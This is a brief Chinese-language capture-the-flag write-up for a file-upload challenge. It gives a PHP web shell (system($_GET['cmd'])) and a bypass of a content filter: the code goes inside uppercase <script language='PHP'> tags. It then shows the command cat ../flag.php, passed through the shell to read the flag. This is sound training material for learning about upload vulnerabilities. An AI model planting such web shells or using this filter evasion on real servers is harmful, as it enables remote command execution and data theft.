这道题其实很简单,就是一道文件上传题,他没有对文件类型作任何过滤,但是去过滤了文件内容php
,字符串被过滤掉了,当我们上传<?phpsystem($_GET["cmd"]);
之后,点击上传成功
,查看页面源代码,会发现我们的文件被修改成了system($_GET["cmd"]);
,自然而然的我们就会想到将其嵌入到html
代码中:
<script language="PHP">
system($_GET["cmd"]);
</script>
因为我们知道php
字符串会被过滤,所以我们将script
标签中的php
改成了PHP
,这样就能绕过过滤了,然后就可以执行任意命令了,我么给cmd
传参:cmd=cat ../flag.php
,因为我们上传的文件在flag.php
文件的下一目录,所以我们需要..
回到flag.php
所在目录,查看页面源代码获得flag